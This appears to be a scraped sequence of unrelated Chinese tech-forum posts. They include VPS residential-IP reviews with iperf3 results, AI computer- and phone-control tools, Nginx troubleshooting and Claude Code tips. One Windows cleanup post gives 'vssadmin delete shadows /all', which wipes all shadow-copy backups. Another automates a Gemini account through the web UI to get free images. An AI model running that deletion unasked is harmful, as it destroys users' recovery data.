[ 5] 3.00-4.00 sec 44.2 MBytes 370 Mbits/sec
[ 5] 4.00-5.00 sec 45.1 MBytes 379 Mbits/sec
[ 5] 5.00-6.00 sec 43.5 MBytes 365 Mbits/sec
[ 5] 6.00-7.00 sec 47.0 MBytes 394 Mbits/sec
[ 5] 7.00-8.00 sec 45.0 MBytes 378 Mbits/sec
[ 5] 8.00-9.00 sec 43.0 MBytes 361 Mbits/sec
[ 5] 9.00-10.00 sec 46.1 MBytes 387 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.03 sec 438 MBytes 367 Mbits/sec 27504 sender
[ 5] 0.00-10.00 sec 435 MBytes 365 Mbits/sec receiver
机器性能
机器性能强劲，妥妥性能怪兽
Seednet
台湾家宽 seednet 产品，seednet 的比起 hinet 而言三网不可直连，但是 seednet 的国际互联要比 hinet 优秀的多，而且 ip 也更稳 (毕竟 hinet 满天飞了，seednet 反而成了一股清流)。Boil 的 seednet 为少见的 IPV4seednet+IPV6Hinet 双栈机器，一台机器两种家宽 ip，而且 hinet 是可以直连的，使得这台本必须中转的 seenet 也可以通过 V6hinet 直连了，形成
用户->HINET-V6->进入机器->seednet-V4出口复制
的玩法，性价比一下子就搞高起来了。
ip 质量优秀，属于完美家宽；机器性能强劲，性能怪兽。
默认配置为
1区 - SeedNet 300Mbps VPS
$38.00 USD月缴+$3ip 质量
完美家宽，无需多言
IPV4
IPV6
明确为 (ISP) Fixed Line ISP，纯真家宽
网络质量
IPV4 是 seednet 家宽，必然三网不可直连，而 IPV6 则是 hinet，三网可以直连，双栈机器性价比相当不错，seednet 最大的优势是他的国际互联，互联实在是太优秀了，基本上 HK 拉 TW 都可以走 HKIX，延时和速度都很不错，延时大约在 25ms，如果机器本身接入了 GSL 走 GSL 可以到 19ms 左右。
IPV4
IPV6
一次中转方案
因为 seednet 互联优秀，所以其实线路直出就可以了，走 HKIX 性价比很好了，走 cogent 的话延时到 30ms 左右
我推荐的方案
前置(无忧云深圳电信.优化.LCS)+深港IX(CloudX-NAT-S1)->Boil.seednet
isif高q163->Boil.seednet
Gomami->Boil.seednet
DMIT.维多利亚->Boil.seednet
三套方案都很不错，你追求极致可以直接用 Gomami，gomami 港台延时可以到 19ms，本身又是三网各自顶级优化；性价比与体验均衡可以考虑专线，因为这个专线性价比太好了，虽然走 cogent 多 5ms，但比起省下的价格完全可以接受；isif 高 q163 则可以作为 gomami 的下位替代了，毕竟价格放在这里；维多利亚走的是 GSL 去台，丢包相当低，也是相当优秀的方案。反正怎么选都可以，300Mbps 基本随便拉满 (seednet 只有 300Mbps)
//专线测试结果
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 26.0 MBytes 218 Mbits/sec 1049 2.54 MBytes
[ 5] 1.00-2.00 sec 36.2 MBytes 304 Mbits/sec 193 2.55 MBytes
[ 5] 2.00-3.00 sec 36.2 MBytes 304 Mbits/sec 57 2.51 MBytes
[ 5] 3.00-4.00 sec 36.2 MBytes 304 Mbits/sec 0 2.56 MBytes
[ 5] 4.00-5.00 sec 30.0 MBytes 252 Mbits/sec 19 2.54 MBytes
[ 5] 5.00-6.00 sec 35.0 MBytes 294 Mbits/sec 77 2.49 MBytes
[ 5] 6.00-7.00 sec 33.8 MBytes 283 Mbits/sec 99 2.55 MBytes
[ 5] 7.00-8.00 sec 35.0 MBytes 294 Mbits/sec 103 2.48 MBytes
[ 5] 8.00-9.00 sec 30.0 MBytes 252 Mbits/sec 600 2.49 MBytes
[ 5] 9.00-10.00 sec 33.8 MBytes 283 Mbits/sec 378 2.44 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 332 MBytes 279 Mbits/sec 2575 sender
[ 5] 0.00-10.04 sec 330 MBytes 276 Mbits/sec receiver
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 21.9 MBytes 183 Mbits/sec
[ 5] 1.00-2.00 sec 35.0 MBytes 294 Mbits/sec
[ 5] 2.00-3.00 sec 36.0 MBytes 302 Mbits/sec
[ 5] 3.00-4.00 sec 34.6 MBytes 290 Mbits/sec
[ 5] 4.00-5.00 sec 34.6 MBytes 290 Mbits/sec
[ 5] 5.00-6.02 sec 34.8 MBytes 287 Mbits/sec
[ 5] 6.02-7.00 sec 34.4 MBytes 292 Mbits/sec
[ 5] 7.00-8.00 sec 36.0 MBytes 302 Mbits/sec
[ 5] 8.00-9.00 sec 35.9 MBytes 301 Mbits/sec
[ 5] 9.00-10.00 sec 31.2 MBytes 262 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.03 sec 338 MBytes 282 Mbits/sec 12239 sender
[ 5] 0.00-10.00 sec 334 MBytes 280 Mbits/sec receiver复制
二次中转方案
随便，seednet 路边拉条狗过来都能拉动，实际上基本没必要中转，直连即可，如果你追求 0 丢包，那就 yinnet 中转即可，其他什么 BAGE/DMIT/Y 系 / HK 家宽 / RFC/VPS.TOWN/AKI… 随便都能拉动，比较优秀的就是 DMIT/Hytron/Servps, 如果你想 JP 去的话也可以，毕竟接入了 NTT，大部分 JP 去就是 35ms 左右，也能接受，不过沪日传输可比深港贵得多，个人均衡考虑一下。
机器性能
性能强劲，妥妥性能怪兽。(和 Hinet 基本一样，此处省略)
Kbro
独特的 Kbro TW 家宽产品，设计采用 Hinet 入站 + Kbro 出站的操作 (Kbro 本身上传只有 50Mbps)，让 Kbro 可以达到 1000Mbps 的速度，hinet 勉强可以直连，建议还是中转，中转方案和 Hinet 相同。ip 质量优秀，数据完美家宽；机器性能强劲，性能怪兽。
这个特殊架构让港台中转飞起来了，吓哭了，给我干哪来了，还是 TW 家宽吗？你不说我还以为港内对拉，直播 / 流媒体神器。
//HKG.DMIT->Boil.Kbro
1580 packets transmitted, 1580 received, 0% packet loss, time 1581099ms
rtt min/avg/max/mdev = 29.522/30.102/31.148/0.281 ms
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 100 MBytes 839 Mbits/sec 0 6.17 MBytes
[ 5] 1.00-2.00 sec 95.0 MBytes 797 Mbits/sec 0 6.19 MBytes
[ 5] 2.00-3.00 sec 95.0 MBytes 797 Mbits/sec 0 6.29 MBytes
[ 5] 3.00-4.00 sec 93.8 MBytes 786 Mbits/sec 0 6.31 MBytes
[ 5] 4.00-5.00 sec 95.0 MBytes 797 Mbits/sec 0 6.19 MBytes
[ 5] 5.00-6.00 sec 95.0 MBytes 797 Mbits/sec 0 6.17 MBytes
[ 5] 6.00-7.00 sec 95.0 MBytes 797 Mbits/sec 0 6.28 MBytes
[ 5] 7.00-8.00 sec 95.0 MBytes 797 Mbits/sec 0 6.25 MBytes
[ 5] 8.00-9.00 sec 95.0 MBytes 797 Mbits/sec 0 6.19 MBytes
[ 5] 9.00-10.00 sec 95.0 MBytes 797 Mbits/sec 0 6.14 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 954 MBytes 800 Mbits/sec 0 sender
[ 5] 0.00-10.03 sec 928 MBytes 776 Mbits/sec receiver
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 72.7 MBytes 610 Mbits/sec
[ 5] 1.00-2.00 sec 92.3 MBytes 775 Mbits/sec
[ 5] 2.00-3.00 sec 93.0 MBytes 781 Mbits/sec
[ 5] 3.00-4.00 sec 92.6 MBytes 777 Mbits/sec
[ 5] 4.00-5.00 sec 92.5 MBytes 776 Mbits/sec
[ 5] 5.00-6.00 sec 92.8 MBytes 778 Mbits/sec
[ 5] 6.00-7.00 sec 92.8 MBytes 779 Mbits/sec
[ 5] 7.00-8.00 sec 92.8 MBytes 778 Mbits/sec
[ 5] 8.00-9.00 sec 92.5 MBytes 776 Mbits/sec
[ 5] 9.00-10.00 sec 92.9 MBytes 779 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.03 sec 911 MBytes 762 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 907 MBytes 761 Mbits/sec receiver
默认配置为
ip 质量
ip 质量优秀，应该因为架构的问题导致 ip 质量脚本检测的时候网络出问题解锁失败了，实测 TK/Amazon/metaai 全部都是解锁的，Spotify 注册确实掉了，但是可以使用。
明确为 (ISP) Fixed Line ISP，纯真家宽
网络质量
由于本机器特殊的构造，所以就不测网络质量了，只测出口 BGP 和入口的 ping 值。电信丢包严重，联通移动倒是能直连使用，强烈建议中转
机器性能
机器性能极其强劲，妥妥的性能怪兽。(和 Hinet 基本一样，此处省略)
台哥大
独一无二的 Taiwan Mobile 5G 产品，ip 质量优秀，除了 TK 掉了，其他都解锁了；机器性能强劲；采用 Hinet 入站 + 台哥大出站的策略，和 Kbro 一样。
//DMIT->Boil.台哥大 相当不错的港台互联速度
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 61.2 MBytes 514 Mbits/sec 279 4.00 MBytes
[ 5] 1.00-2.00 sec 58.8 MBytes 493 Mbits/sec 0 4.12 MBytes
[ 5] 2.00-3.00 sec 60.0 MBytes 503 Mbits/sec 0 3.90 MBytes
[ 5] 3.00-4.00 sec 58.8 MBytes 493 Mbits/sec 0 3.95 MBytes
[ 5] 4.00-5.00 sec 60.0 MBytes 503 Mbits/sec 0 4.30 MBytes
[ 5] 5.00-6.00 sec 58.8 MBytes 493 Mbits/sec 0 4.01 MBytes
[ 5] 6.00-7.00 sec 56.2 MBytes 472 Mbits/sec 165 2.70 MBytes
[ 5] 7.00-8.00 sec 56.2 MBytes 472 Mbits/sec 200 3.91 MBytes
[ 5] 8.00-9.00 sec 53.8 MBytes 451 Mbits/sec 804 3.92 MBytes
[ 5] 9.00-10.00 sec 53.8 MBytes 451 Mbits/sec 399 4.35 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 578 MBytes 484 Mbits/sec 1847 sender
[ 5] 0.00-10.04 sec 561 MBytes 469 Mbits/sec receiver
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 23.3 MBytes 195 Mbits/sec
[ 5] 1.00-2.00 sec 47.8 MBytes 401 Mbits/sec
[ 5] 2.00-3.00 sec 45.0 MBytes 377 Mbits/sec
[ 5] 3.00-4.00 sec 46.1 MBytes 387 Mbits/sec
[ 5] 4.00-5.00 sec 45.1 MBytes 378 Mbits/sec
[ 5] 5.00-6.00 sec 46.6 MBytes 391 Mbits/sec
[ 5] 6.00-7.00 sec 46.1 MBytes 386 Mbits/sec
[ 5] 7.00-8.00 sec 47.3 MBytes 397 Mbits/sec
[ 5] 8.00-9.00 sec 43.9 MBytes 368 Mbits/sec
[ 5] 9.00-10.00 sec 44.9 MBytes 377 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.03 sec 439 MBytes 367 Mbits/sec 30555 sender
[ 5] 0.00-10.00 sec 436 MBytes 366 Mbits/sec receiver
默认配置为
1区 - NAT - Taiwan Mobile 5G 500Mbps VPS
$18ip 质量
他家唯一一次让我测到 tk 确实不解锁的机器，不过这个是 NAT 机器，倒也能解释，有点遗憾，不过除了 tk 以外基本完整解锁，整体质量优秀。
明确为 ISP/MOB，优质家宽
网络质量
Hinet 入栈，所以只测试入栈的三网情况和出栈 ip 的 BGP。电信丢包严重，联通移动勉强能用，推荐中转。
机器性能
机器性能强劲，妥妥性能怪兽。(和 Hinet 基本一样，此处省略)
CA
Telus
独一无二的加拿大家宽，基本没有其他竞品。ip 质量优秀，流媒体完整解锁，数据完美家宽；网络比较优秀，联通移动完全可以直连使用，电信最好中转，无论是 HK->CA 还是 JP->CA 还是 US->CA 都是很好的选择；VDS 机器性能强劲，符合大户机器的要求。整体质量对的起售价，非常优秀的产品。
默认配置为
ip 质量
ip 质量优秀，同样是动态家宽，流媒体完整解锁，无敌。
明确为 ISP/MOB，纯正家宽
网络质量
出乎我意料，我以为这个三网会直接爆炸，没想到测下来三网还挺不错的，电信比较爆炸，建议中转；联通移动速度都很不错，单线程都稳定在 100Mbps 几乎 0 重传，完全可以使用。不过要是追求速度自然是要中转，CA 线路机只有瓦工有 (我手上暂时没有就先欠着测试结果以后补)，其他都是中转，US 去 CA 可以拉满 900Mbps，但是 US->CN 一般都会锁单线程 200Mbps，而 JP->CA 则可以到 300Mbps，HK->CA 也是 200Mbps，延时 JP<HK<US. 其实这样来看 JP 是最佳位置，但是 JP 的 CN 传输又很贵，所以需要充分考虑需求来决定。
这个出乎我意料其实主要是因为无论什么地方拉 CA 都是很稳定的低丢包低重传，网络链路稳定
深圳电信 (500Mbps) → Boil.CA(1000Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 5.19 MBytes 4.35 Mbits/sec 7 sender
[ 5] 0.00-10.40 sec 4.83 MBytes 3.90 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.40 sec 68.2 MBytes 55.1 Mbits/sec 3844 sender
[ 5] 0.00-10.00 sec 65.0 MBytes 54.5 Mbits/sec receiver
济南联通 (500Mbps) → Boil.CA(1000Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 138 MBytes 116 Mbits/sec 0 sender
[ 5] 0.00-10.18 sec 137 MBytes 113 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.21 sec 101 MBytes 82.9 Mbits/sec 579 sender
[ 5] 0.00-10.00 sec 97.2 MBytes 81.6 Mbits/sec receiver
武汉移动 (1000Mbps) → Boil.CA(1000Mbps)
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 873 KBytes 7.15 Mbits/sec 0 182 KBytes
[ 5] 1.00-2.00 sec 6.77 MBytes 56.8 Mbits/sec 0 4.60 MBytes
[ 5] 2.00-3.00 sec 13.8 MBytes 115 Mbits/sec 0 8.77 MBytes
[ 5] 3.00-4.00 sec 13.8 MBytes 115 Mbits/sec 0 8.77 MBytes
[ 5] 4.00-5.00 sec 13.8 MBytes 115 Mbits/sec 0 8.77 MBytes
[ 5] 5.00-6.00 sec 15.0 MBytes 126 Mbits/sec 0 8.77 MBytes
[ 5] 6.00-7.00 sec 13.8 MBytes 115 Mbits/sec 0 8.77 MBytes
[ 5] 7.00-8.00 sec 13.8 MBytes 115 Mbits/sec 0 8.77 MBytes
[ 5] 8.00-9.00 sec 13.8 MBytes 115 Mbits/sec 0 8.77 MBytes
[ 5] 9.00-10.00 sec 13.8 MBytes 115 Mbits/sec 0 8.77 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 119 MBytes 99.7 Mbits/sec 0 sender
[ 5] 0.00-10.20 sec 119 MBytes 97.5 Mbits/sec receiver
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 277 KBytes 2.26 Mbits/sec
[ 5] 1.00-2.00 sec 6.27 MBytes 52.6 Mbits/sec
[ 5] 2.00-3.00 sec 13.8 MBytes 116 Mbits/sec
[ 5] 3.00-4.00 sec 13.7 MBytes 115 Mbits/sec
[ 5] 4.00-5.00 sec 13.4 MBytes 113 Mbits/sec
[ 5] 5.00-6.00 sec 13.6 MBytes 114 Mbits/sec
[ 5] 6.00-7.00 sec 13.9 MBytes 116 Mbits/sec
[ 5] 7.00-8.00 sec 13.6 MBytes 114 Mbits/sec
[ 5] 8.00-9.00 sec 13.8 MBytes 115 Mbits/sec
[ 5] 9.00-10.00 sec 13.7 MBytes 115 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.21 sec 119 MBytes 98.1 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 116 MBytes 97.4 Mbits/sec receiver
LAX.DMIT(4000Mbps) → Boil.CA(1000Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 1006 MBytes 844 Mbits/sec 0 sender
[ 5] 0.00-10.03 sec 981 MBytes 820 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.03 sec 921 MBytes 770 Mbits/sec 2626 sender
[ 5] 0.00-10.00 sec 917 MBytes 769 Mbits/sec receiver
HKG.DMIT(4000Mbps) → Boil.CA(1000Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 232 MBytes 195 Mbits/sec 0 sender
[ 5] 0.00-10.13 sec 206 MBytes 171 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.13 sec 236 MBytes 195 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 232 MBytes 195 Mbits/sec receiver
JP.BageSTD(4000Mbps) → Boil.CA(1000Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 344 MBytes 288 Mbits/sec 0 sender
[ 5] 0.00-10.09 sec 326 MBytes 271 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.09 sec 370 MBytes 308 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 368 MBytes 309 Mbits/sec receiver
机器性能
性能强劲，果然是大户机器，完全可以支撑大部分的性能需求。
【开源】Gemini-Computer-Control，让 Gemini 完全接管你的电脑
本项目的前端构建使用 Gemini 3 Flash，在 Lim Code - 强大的集交错思考与多模态工具于一体的 AI Coding 插件，旨在解决其他 ai 插件或 ide 的缺点和拓展功能需求，支持 xml 工具 - 开发调优 - LINUX DO 上快速迭代美化 + 图片生成
以号被封 7 天的代价决定开源 computer use
前情提要
基于 Gemini 3 系列强大的多模态能力和 Gemini 3 Flash 的高速高质，全面托管电脑成为可能。
使用原生工具调用并回传思考签名的情况下，多数请求可以做到又快又好地响应。
模式解释
一共提供三种模式的电脑控制
- 浏览器模式，使用无头 / 有头 Playwright，在浏览器环境下操作，支持切换标签页登多种便携工具
- 桌面模式，使用 PyAutoGUI 模拟真实鼠标点击和输入，完全接管电脑。在这一模式下会强制征用桌面焦点，期间不能干其他事
- 后台模式，使用 pywin32 API 通过窗口句柄操作，能做到真正的后台操作（部分应用），一些应用可能会强制焦点。
使用方法
clone 代码，点击 bat 运行。
可以选择在后端文件中配置 env 或使用前端设置
推荐使用：Gemini 3 Flash（轻度任务 minimal 思考最佳）
注意事项
- 本项目基于闭源模型 Gemini，在不确定上游安全的情况下谨慎用于处理敏感信息
- 后台运行模式时 Chrome 依然有概率将窗口设置焦点，浏览器相关活动建议直接使用 Playwright 模式
- 其他待补充
Windows 拯救 C 盘
首先推荐一个工具：TreeSize Free，在微软商店即可下载。功能是可以查看某个磁盘下面的使用情况。我的 C 盘总是莫名其妙的少好多内存，之前要么是因为将虚拟机下载到磁盘了里面了，直接给我占用了几十个 G，要么是因为 IDEA 打开前端代码的时候，把前端的 nodea moudle 也进行索引了，好家伙，给我的电脑一顿霍霍。今天也是突然少了 20 个 G，忍无可忍，无须再忍。使用 TreeSize Free，可以查看到 C 盘的使用情况，然后发现有个文件是今天创建了，而且只一个文件占用了 24.9GB 内存。查了一下资料，发现原来是 C 盘默认会开启系统保护，也就是说，在 C 盘中的文件会自动保留一些之前的文件的影子副本，如图所示。（这里我已经删除过了，所以图片中显示的是空）
所以在决定删除影子副本之前，需考率好最近的文件有没有需要回退到之前版本的。如果没有则直接可以进行删除。Windows + X 打开 Power Shell （系统管理员），然后输入 vssadmin list shadows 查看已有的影子副本。可以精确删除某个副本 vssadmin delete shadows /for C: /shadow:{19aa…}，但是这里我直接选择的是删除所有影子副本：vssadmin delete shadows /all. 然后可以关闭系统保护功能，但是文件就不能回退到之前版本了，所以这里我推荐规定最大的副本使用量。
通过 windows + R，输入 sysdm.cpl，在系统属性中点击系统保护。点击配置可以配置最大使用量。
在做完以上操作之后，可以看到我的 C 盘上面直接释放了 34GB 内存。重返 C 盘自由。
分享一个免费使用 Nano Banana Pro 自动生成高质量图片的方法
大概步骤如下：
1. 大模型自动生成图片的 prompt；
2. 使用 claude code 借助 playwright mcp 能力打开 https://gemini.google.com/ 站点，然后自动登录你的谷歌 pro 账号；
3.playwright mcp 自动填充 prompt，然后等待图片生成；
4.playwright mcp 自动下载图片保存到指定位置。
主要优势
1. 如果通过 api 调用生成图片，价格有点贵，我看便宜的中专都要 5 毛左右一张；
2.gemini pro 账号一般有一些免费的图片，我昨天生成了 20 多张也是没问题的，具体限制多少张没有测试，反正我自己目前是够用的。
记一次借助 ai 帮朋友机器排查 openlist 对接 rustfs 无法上传问题 403、cors 错误
问题 OpenList 链接 RustFS s3 端点后无法通过 OpenList 上传文件
控制台出现 cors 或者 403 等导致无法通过 OpenList 上传文件
环境信息： (问 ai 前最好提前说明相关服务环境信息)
- RustFS 服务运行在
localhost:9000(HTTP) - Nginx 反向代理在
9002端口提供 HTTPS 访问 - 端点地址：
https://RustFS.example.com:9002 - OpenList 在别的机器：
https://alist.example.com
省流总结:
Nginx 对 RustFS 的反代缺少一个关键配置 proxy_redirect off
反代实现 https 的时候端口冲突导致 301 重定向循环
Tip问 ai 前最好提前说明相关服务环境信息，复盘流程会发现，如果知道 Nginx 做了反代可以提前让 ai 检查 Nginx 加快问题排查流程。本次排查时间主要消耗在梳理朋友机器网络环境上，ai debug 还是很快的
附上问题排查流程 (省略了一部分内容 + 信息脱敏)
Note本次排查在 Antigravity + Claude Opus 4.5 (Thinking) 工具下
1. 先直接通过 RustFS 页面上传，确认 RustFS 服务正常。 –确认服务正常
2. 接下来让 ai 编写 s3 端点上传，验证 s3 端点上传是否正常。 –问题初显
初始尝试：使用 boto3 默认配置连接，返回 301 错误
~/…/github/rustf $ uv run test_upload.py Installed 7 packages in 52ms ================================================== 🚀 RustFS S3 上传测试 ================================================== ⚠️ 未指定文件，将创建测试文件... 📝 已创建测试文件: /tmp/RustFS_test.txt 📦 正在上传: /tmp/RustFS_test.txt 📍 目标: s3://ccc/RustFS_test.txt 🔗 端点: https://RustFS.example.com:9002 ❌ 上传失败: Failed to upload /tmp/RustFS_test.txt to ccc/RustFS_test.txt: An error occurred (301) when calling the PutObject operation: Moved Permanently尝试添加路径风格访问：仍然失败 301
config=Config(
signature_version="s3v4",
s3={"addressing_style": "path"}
)
- 添加 region 配置：仍然失败 301
region_name="us-east-1" - 禁用 ssl：上传成功，但后面又失败了，上传成功后的 ListObjectsV2 操作也出现 301
继续 curl 检查端点响应信息
- 得出问题在 Nginx
接下来把 Nginx 完整信息发送并解析，得出关键信息，缺少 proxy_buffering off;
重载 Nginx 配置后，上传 100% 成功，但 ListObjectsV2 操作出现 301
继续让 ai 检查 Nginx 配置，发现一处端口冲突导致的重定向循环。。。
删除后重载 Nginx 配置，ListObjectsV2 也正常了。OpenList 端也恢复正常使用了。
【开源推荐 - AutoGLM-GUI】 一键拥有自己的豆包 AI 手机，全界面操作，告别命令行
一键拥有自己的豆包 AI 手机，全界面操作，告别命令行，AutoGLM-GUI 桌面版使用保姆级别教程
效果展示
先给大家看看实际效果：
让 AI 帮我点一杯奶茶。
从理解自然语言 → 打开 App → 点击 → 输入 → 确认，全程由 AI 自动完成。
AutoGLM-GUI 是什么？
Open-AutoGLM 是智谱开源的一个 ai 操作智能手机的框架，但原生使用方式对普通用户并不友好，需要命令行操作，需要安装 adb 等依赖。而 AutoGLM-GUI 基于 Open-AutoGLM 提供了更加友好的用户体验，支持自动安装 adb keyboard 等依赖，降低了使用的门槛。
目前支持：
- 图形化界面操作
- 自动安装 ADB Keyboard 等依赖
- 多设备连接与切换
- 直接点击屏幕操控手机
准备
- 一部手机（Android /iOS/ 鸿蒙）
- 一台电脑（Windows /macOS）
- 一根数据线（有更好，没有也可以无线调试）
步骤
1. 下载 & 启动
先打开项目首页 AutoGLM-GUI，找到快速下载这里
我们根据自己的系统，选择下载，以下以 windows 系统为例
下载下来是这样子的 exe 文件，直接双击启动即可，不需要安装。根据电脑性能，可能要等一会
打开来第一时间，就会让我们去配置 api
2. 获取 apikey
简单来说，AutoGLM 分为控制端和模型端两个部分，我们在自己电脑上面运行的是控制端，这个是直接控制我们手机的。
但是大模型毕竟是大模型，几十亿上百亿的参数，我们自己电脑很难运行，所以这个时候是使用的官方托管的模型，我们直接调用智谱官方托管好的就行了
直接打开：https://bigmodel.cn/login?redirect=%2Fusercenter%2Fproj-mgmt%2Fapikeys ，这个是智谱官方的模型平台
直接使用手机号登录，免费的。目前好像还是推广期，调用模型不花钱。
直接随便取一个名字，新建一个 key
复制生成的 Key，粘贴到 AutoGLM-GUI 的配置界面中即可（URL 默认已经配置好，如果只是使用官方模型，不需要修改）
3. 启用 ADB 调试
这个相信大家都非常熟悉，但是为了教程的完整性，在这里还是简单提一下
找到版本号：进入「设置」 → 「关于手机」 → 找到「版本号」或「编译编号」。
开启开发者模式：连续快速点击「版本号」7 次，直到屏幕提示 “您已处于开发者模式”。
进入开发者选项：返回「设置」（或「系统设置」/「更多设置」），找到新出现的「开发者选项」。
开启调试：在开发者选项中，找到并开启「USB 调试」。
要注意的是，看看 USB 调试设置周围有没有其他安全设置，也记得同步调整一下。像小米，就有一个 USB 调试安全的配置，不开启就无法模拟点击～～（别问我是怎么知道的）~~。以及有的手机需要把连接电脑的模式调整到「文件传输」。
开始体验
开启 USB 调试之后，界面上面应该就直接显示出你的设备了，代表着配置完毕，可以开始体验了，可以打开计算器，让 ai 简单操作一下，如果没啥问题就代表一切就绪了。
最右边的屏幕还支持直接点击操控手机，连接到多设备之后，还可以在左边侧边栏进行切换
FAQ
支持 iPhone /iOS 吗？
正在适配中，已经跑通流程，但是由于比较复杂，还在完善相关支持
需要 Root 手机吗？
不需要。
AutoGLM-GUI 使用的是 官方 ADB 能力，无需 Root，也不会修改系统文件
设备列表是空的，看不到手机怎么办？
请按顺序检查：
- 手机是否开启 USB 调试
- 是否在手机上点了 “允许 USB 调试”
- 数据线是否支持数据传输（不是纯充电线）
- USB 连接模式是否为「文件传输」
最后
如果这个项目对你有帮助，欢迎：
- GitHub Star
- 提 Issue / PR
#开源 #AutoGLM #智谱 AI #OpenAutoGLM
@quiiiii
无需注册免费大容量图床 & 文件存储
Windsurf SWE-1.5 免费，新增并行开发 worktree 支持
https://x.com/windsurf/status/2003925433352364068
SWE-1.5 免费，SWE-1.5-Fast 0.5 积分
两个的区别就是前者慢一些，后者就是以前的 SWE-1.5，托管在 Cerebras 上，Cerabras 老朋友了，实力自不多说，主打超快推理。
SWE-1.5 是基于 GLM-4.5 RL 后训练的，优点就是快。
𝕏 x.com
石锤！Windsurf 的新模型 SWE-1.5 更像 GLM-4.5!
之前网传硅谷的公司已经在内部开始大面积用国产开放权重大模型来魔改了，传的尤其猛的是 Cursor 的 Composer-1 是用 DeepSeek 魔改 (后训练或微调) 的，而 Windsurf 的 SWE-1.5 是用 GLM-4.6 魔改的.
而上一个基本已经石锤了，这个还没有被验证，pic.x.com/qX8k37UZkH
用 Claude Code 的兄弟们，上下文丢了的痛我懂 - 写了个工具来解决
背景
用 Claude Code 的应该都遇到过这种情况：
聊了半天，需求理清了、架构定好了、代码写了一半… 突然一个 400/500 错误，或者是官方的错误导致的，被迫开新窗口。
之前的上下文？没了。
然后就得重新解释一遍项目背景、技术栈、之前做了什么… 烦不烦？
还有一种情况，看到 “Conversation compacted” 提示，说明早期对话已经被压缩了，Claude 可能已经忘了前面聊的内容。
解决方案
写了个小工具 Claude Context Manager，通过自定义斜杠命令，随时保存当前会话的关键信息，在新会话中一键恢复。
核心就四个命令：
| 命令 | 作用 |
|---|---|
/save-context | 保存当前会话（需求、决策、代码、进度） |
/load-context | 在新会话中加载之前保存的上下文 |
/list-contexts | 查看所有保存的会话 |
/search-context | 搜索历史会话 |
使用场景
- 完成一个功能模块后，
/save-context存档 - API 报错开新窗口后，
/load-context恢复 - 看到 “Conversation compacted” 后，立即保存
- 第二天继续开发，先加载昨天的上下文
安装
支持 macOS / Linux / Windows
git clone https://github.com/gaoziman/claude-context-manager.git
cd claude-context-manager
./install.sh # Windows 用 scripts\windows\install.bat
重启 Claude Code，输入 / 看到新命令就成功了。
最后
工具比较简单，就是解决一个实际痛点。
有问题或建议欢迎提 Issue，觉得有用的话给个 Star。
GitHub: https://github.com/gaoziman/claude-context-manager
用了几天 claude code 发现提示词非常重要，看了论坛很多大佬的提示词，结合了一下分享一下我的提示词
智能编程助手协议
一、铁律（最高优先级）
1.1 代码调研优先（强制）
修改代码前必须完成：
理解现有代码 - 调用
mcp__auggie-mcp__codebase-retrieval检索相关函数 / 类识别复用机会 - 查找已有相似功能，优先复用而非重写
追踪调用链 - 分析被哪些函数调用，避免破坏依赖
检索策略：语义查询（Where/What/How），上下文不足时递归检索。严禁基于假设或记忆回答。
1.2 红线原则（绝不妥协）
Copy-paste 重复代码（必须复用）
缺少错误处理和日志
破坏现有功能 / 未经确认就执行方案
对错误方案说 "好的，没问题"
盲目执行，不加思考 / 为速度牺牲质量
1.3 复杂问题深度思考（强制）
触发场景：多步骤推理、架构设计、疑难调试、方案对比
强制工具：
sequential-thinking
1.4 知识获取（强制）
遇到不熟悉的知识，必须联网搜索，严禁猜测
1.5 修改前三问
“这是真问题还是臆想？” - 拒绝过度设计
“有现成代码可复用吗？” - 优先复用
“会破坏什么调用关系？” - 保护依赖链
二、RIPER-5 五模式
声明格式：每个响应开头声明 [模式: 模式名]
| 模式 | 目的 | 强制动作 | 禁止 |
|------|------|----------|------|
